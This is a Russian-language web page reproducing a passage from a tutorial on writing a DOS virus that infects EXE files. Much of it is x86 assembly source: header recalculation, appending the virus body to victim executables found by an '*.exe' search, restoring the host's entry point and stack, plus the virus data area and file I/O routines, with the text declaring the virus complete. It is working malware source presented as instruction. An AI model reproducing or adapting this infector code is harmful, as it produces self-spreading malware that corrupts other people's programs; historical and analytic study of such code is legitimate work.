Производим необходимые вычисления 


Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Производим необходимые вычисления



Теперь наша задача состоит в следующем: Используя числа, полученные из заголовка и некоторые вспомогательные данные, рассчитать новые параметры заголовка EXE - программы. Напомним, что необходимо найти:

Новые значения CS0, IP0, SS0 и SP0

Новый остаток от деления размера загрузочного модуля на 512

Новый размер файла в 512 - ти байтовых страницах, округленный в большую сторону

Кроме того, следует найти такое значение указателя, которое обеспечило бы запись вирусного кода в конец файла. Это значение будет исходным для процедуры "setpointer", которая предназначена для установки указателя в файле.

Перед началом вычислений вирус должен "запомнить" исходные параметры заголовка, чтобы можно было использовать их для расчета правильной точки входа и переключения стека с области данных вируса на стек зараженной программы при передаче ей управления:

;Запомним пара-;метры заголовка;в переменных;" old_XX "... next_step: mov ax,word ptr header[14h] mov old_ip,ax mov ax,word ptr header[16h] mov old_cs,ax mov ax,word ptr header[0eh] mov old_ss,ax mov ax,word ptr header[10h] mov old_sp,ax

После этого можно приступить к вычислениям. Но сначала следует привести принятые для расчета формулы. Обозначим:

Остаток от деления размера загрузочного модуля на 512 - Исходный: при вычислениях не используется Вычисленный в результате коррекции (в даль- нейшем - " вычисленный "): Header [02h] Размер файла в 512 - ти байтовых страницах - Исходный: File_size Вычисленный: Header [04h] Смещение в параграфах стекового сегмента в загру- зочном модуле - Исходное: SS0 Вычисленное: Header [0eh] Смещение в параграфах кодового сегмента в загру- зочном модуле - Исходное: СS0 Вычисленное: Header [16h] Значение указателя стека SP при передаче управле- ния программе - Исходное: SP0 Вычисленное: Header [10h] Значение указателя команд IP при передаче управле- ния программе - Исходное: IP0 Вычисленное: Header [14h] Размер заголовка в параграфах - Head_size Длина вируса в байтах - Vir_len Старшая часть указателя для записи вируса в конец файла - F_seek_high Младшая часть указателя - F_seek_low.

CS0, IP0, SS0 и SP0 в этих расчетах не используются, но мы сохранили их в выделенных ячейках памяти.

Тогда можно привести такие формулы:

Header [16h] = File_size * 32 - Head_size Header [04h] = (File_size * 512 + Vir_len) / 512 - частное от деления + 0,если остаток равен нулю + 1,если остаток не равен ну- лю Header [02h] = (File_size * 512 + Vir_len) / 512 - остаток от деления Header [14h] = 0 При этом первая исполняемая коман- да вируса будет находиться по адре- су: CS: 0000h, CS = Header [16h]. Header [0eh] = Header [16h], чтобы можно было об- ратиться к стеку вируса,задав в ка- честве SP " расстояние " от начала вирусного кода до последних слов стека. Header [10h] = смещению к New_stack + 96h, послед- нее слагаемое зависит от размера вирусного стека. F_seek_high = File_size * 512 (High) F_seek_low = File_size * 512 (Low)

Все расчеты по приведенным формулам можно выполнить с помощью таких программных строк:

mov ax,word ptr header[04h] mov cl,5 shl ax,cl cmp ax,0f000h jna good_size jmp find_next good_size: mov bp,ax sub ax,word ptr header[08h] mov to_16h,ax;Это число запи-;шется в Header;[16h] mov ax,bp xor dx,dx call mover mov f_seek_low,ax mov f_seek_high,dx cmp dx,word ptr [new_dta + 01ch] jl to_next ja infect cmp ax,word ptr [new_dta + 01ah] jl to_next infect: add ax,vir_len adc dx,0 mov bx,512 div bx cmp dx,0 je round inc ax round: mov to_04h,ax;Это число запи-;шется в Header;[04h] mov to_02h,dx mov word ptr header[02h],dx mov ax,to_04h mov word ptr header[04h],ax mov word ptr header[14h],0 mov ax,to_16h mov word ptr header[16h],ax mov word ptr header[0eh],ax mov word ptr header[10h],offset ds:new_stack + 96 mov sub_ds,10h

В приведенном тексте широко используются команды:

ADC

сложение с переносом. Эта команда определяет сумму задаваемых операндов и прибавляет к ней значение флага переноса CF и

SBB

вычитание с заемом. Команда определяет разность задаваемых операндов и вычитает из нее значение флага CF.

Такие команды потребовались для того, чтобы можно было учесть переполнения, возникающие при работе с файлами длиннее 64 Кбайт. Заметьте, что при разработке COM - вирусов они не применялись вообще. Процедура " mover " заимствована из книги П. Абеля "Язык ассемблера для IBM PC и программирования" и предназначена для умножения двойного слова CX:DX на 16 методом сдвига.

Хотелось бы сказать о том, как наш вирус определяет, содержит ли файл внутренние оверлеи. Для этого он просто сравнивает размер файла в параграфах, полученный из заголовка по смещению 04h с размером, считанным из DTA.Верным признаком присутствия внутренних оверлеев является следующий факт:

Размер, полученный из DTA больше значения, вычисленного по параметрам заголовка. Заражать " оверлейный " файл по принятому нами алгоритму нельзя, и наш вирус при обнаружении такого файла просто попробует найти другую EXE - программу. Сам алгоритм заражения оверлейных файлов отличается высокой сложностью и ненадежностью и в данном пособии не рассматривается. Стоит заметить, что далеко не все вирусы корректно работают с такими файлами, а многие просто их портят.

Заражаем EXE - программу

После того, как скорректирован заголовок файла, можно его заразить. Напомним, что при заражении вирус должен перезаписать на диск модифицированный заголовок, после чего поместить свой код в конец файла-жертвы:

xor dx,dx;Устанавливаем xor cx,cx;указатель на call setpointer;начало файла jc close_file; lea dx,header;И записываем mov cx,27;измененный за- call write;головок на диск jc close_file mov dx,f_seek_low;Устанавливаем mov cx,f_seek_high;указатель на call setpointer;определенное;ранее место в;файле jc close_file lea dx,vir;И записываем на mov cx,vir_len;диск вирусный call write;код close_file:xor ax,ax;Закроем зара- mov ah,3eh;женный файл mov bx,descrypt; int 21h;

Строго говоря, код вируса записывается не за последним байтом файла. Это имеет место только когда размер файла кратен 512. Во всех остальных случаях вирусный код помещается в файл по смещению, определяемому размером файла в 512 - ти байтовых страницах. Конечно, число страниц округляется в большую сторону. Например, при размере файла в 1025 байт вирус будет считать, что его длина составляет три полных страницы, а при размере в 4096 байт - всего восемь! Такая система сильно упрощает процесс создания вирусной программы и ее отладку.

Восстанавливаем DTA

Итак, вирус выполнил свою работу - найден и заражен подходящий EXE - файл. Дальше необходимо переключить DTA с области данных вируса на область в PSP программы, из которой он стартовал. Поскольку начальный сегмент программы известен (он хранится в регистре ES, которым мы не пользовались), несложно найти адрес исходной DTA. Он равен ES:80h. И поэтому:

restore_dta: push ds;DS -> в стек mov ah,1ah;Восстановим mov dx,080h;адрес DTA зара- mov bp,es;женной програм- mov ds,bp;мы с помощью int 21h;функции DOS 1Ah pop ds;DS <- из стека

В этом фрагменте адрес DTA устанавливается с помощью функции DOS 1Ah (см. ПРИЛОЖЕНИЕ 1). Новый адрес должен быть помещен в DS: DX, что мы и сделали. Команда " push ds " записывает в стек содержимое регистра DS, так как этот регистр используется для задания адреса,и поэтому его значение будет испорчено.

Восстанавливаем точку входа

Далее необходимо передать управление зараженной программе (конечно, не только что зараженной, а той, из которой стартовал вирус). Для этого нужно восстановить ее исходную точку входа,а также переключить стек с вирусной области данных на стек, предусмотренный разработчиком программы. Чтобы произвести все необходимые вычисления, мы используем параметры заголовка программы, сохраненные ранее в ячейках " my_XX ". При передаче управления на код вируса в регистр CS было помещено такое значение: CS = NS0 + 10h + Header [16h], и это значение нам известно - оно сейчас находится в CS. С другой стороны, настоящая точка входа EXE - программы имеет сегментный адрес CS = NS0 + 10h + my_cs. Таким образом, достаточно узнать, чему равна сумма: NS0 + 10h, и прибавить к ней " my_cs ". Такая же ситуация возникает и при восстановлении регистра SS, только здесь к NS0 + 10h нужно прибавить " my_ss ". Проще всего восстановить регистр DS, поскольку при загрузке EXE-файла соблюдается условие: ES = DS = NS0. Для инициализации SP и IP можно просто записать в них числа, хранящиеся в переменных " my_sp " и " my_ip ", не производя при этом каких - либо сложных расчетов. С учетом этих соображений можно записать:

mov ax,my_ip mov old_ip,ax mov ax,my_cs mov old_cs,ax mov ax,my_16h mov to_16h,ax mov ax,my_sp mov sp,ax;Инициализируем;регистр SP... mov ax,cs;Найдем sub ax,to_16h;NS0 + 10h... add my_ss,ax;Вычислим SS... mov ss,my_ss; add ax,old_cs;Вычислим CS... mov old_cs,ax; mov ax,es;Инициализируем mov ds,ax;регистр DS... jmp $ + 2;Сбросим очередь;процессора db 0eah;И перейдем к old_ip dw 0;исполнению old_cs dw 0;программы...

Команда перехода к исполнению программы записана в виде машинного кода,чтобы при необходимости ее можно было модифицировать. И еще - вы, вероятно, помните, что символами "NS0" мы обозначили начальный сегмент программы.

Область данных вируса

Приведем данные, которыми оперирует уже почти созданный нами EXE-вирус:

;Собственная DTA;вируса new_dta db 128 dup (0);Маска для поис-;ка файла - жер-;твы maska db '*.exe',0;Буфер для хра-;нения имени;найденного;файла fn db 12 dup (' '),0;Массив для хра-;нения заголовка header db 27 dup (0) descrypt dw 0;Ячейка для дес-;криптора to_02h dw 0;Эти ячейки ис- to_04h dw 0;пользуются для to_16h dw 0;хранения пара- my_ip dw 0;метров заголо- my_cs dw 0;вка заражаемой my_16h dw 0;программы и my_ss dw 0;той, из которой my_sp dw 0;стартовал old_ss dw 0;вирус old_sp dw 0; f_seek_low dw 0;В эти перемен- f_seek_high dw 0;нные записывае-;тся значение;указателя;Вирусный стек new_stack dw 50 dup (0) last db 0;Сюда помещается;последний байт;заражаемого;файла db '7';Последний байт;вирусного кода

Используемые процедуры

Осталось только привести тексты процедур, которыми пользуется вирус, и работа почти закончена. Они выглядят так:

setpointer proc;Процедура уста- mov ax,4200h;навливает ука- mov bx,descrypt;затель в файле int 21h;на заданный ret;байт... setpointer endp read proc;Процедура чте- mov ah,3fh;ния из файла... mov bx,descrypt int 21h ret read endp write proc;Процедура за- mov ah,40h;писи в файл... mov bx,descrypt int 21h ret write endp mover proc;Процедура умно- mov cx,04h;жения двойного left: shl dx,1;слова CX: DX shl ax,1;на 16 методом adc dx,00h;сдвига... loop left; ret; mover endp

Приведенные процедуры очень просты и довольно эффективны. Процедура "mover", как уже говорилось, взята из книги П. Абеля " Язык ассемблера для IBM PC и программирования ", естественно, без разрешения автора.

Работа завершена

Только что мы разработали вирусную программу, заражающую EXE-файлы. Последний штрих - напишем несколько строк, почти стандартных для всех ассемб лерных программ:



Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 302; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 44.203.235.24 (0.028 с.)